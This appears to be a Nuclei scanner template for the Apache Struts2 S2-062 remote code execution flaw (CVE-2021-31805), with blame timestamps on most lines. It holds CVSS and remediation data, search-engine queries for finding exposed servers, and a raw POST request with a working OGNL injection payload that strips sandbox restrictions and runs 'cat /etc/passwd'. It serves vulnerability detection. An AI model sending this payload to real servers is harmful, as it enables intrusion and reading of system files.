2022-04-18 11:08:19 +00:00
id : CVE-2021-31805
2022-04-21 21:16:41 +00:00
2022-04-18 11:08:19 +00:00
info :
2022-04-18 11:12:27 +00:00
name : Apache Struts2 S2-062 - Remote Code Execution
2022-04-18 11:08:19 +00:00
author : taielab
severity : critical
2022-05-17 09:18:12 +00:00
description : Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution
2023-09-06 12:09:01 +00:00
remediation : Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.
2022-04-18 11:08:19 +00:00
reference :
2022-04-21 21:16:41 +00:00
- https://cwiki.apache.org/confluence/display/WW/S2-062
2022-04-18 11:08:19 +00:00
- https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
- https://nvd.nist.gov/vuln/detail/CVE-2021-31805
2023-04-12 10:55:48 +00:00
- http://www.openwall.com/lists/oss-security/2022/04/12/6
2023-07-11 19:49:27 +00:00
- https://security.netapp.com/advisory/ntap-20220420-0001/
2022-04-21 09:35:20 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2022-04-21 09:35:20 +00:00
cve-id : CVE-2021-31805
cwe-id : CWE-917
2024-03-23 09:28:19 +00:00
epss-score : 0.18558
epss-percentile : 0.961
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query :
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
2024-05-31 19:23:20 +00:00
google-query : intitle:"struts2 showcase"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,apache,rce,struts,struts2,intrusive
2022-04-18 11:08:19 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-18 11:08:19 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length : 1095
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition : form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
matchers :
- type : regex
part : body
regex :
- "root:.*:0:0:"
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022028bad9749b9ae4d945e0cde1a909d8f43e8fdb919b6f9a579fe65f9ab72b95ef022100e3abdfd25fa01e8d16246da58b8e0307af0381a5023cd306e574029b2fb13653:922c64590222798bb761d5b6d8e72950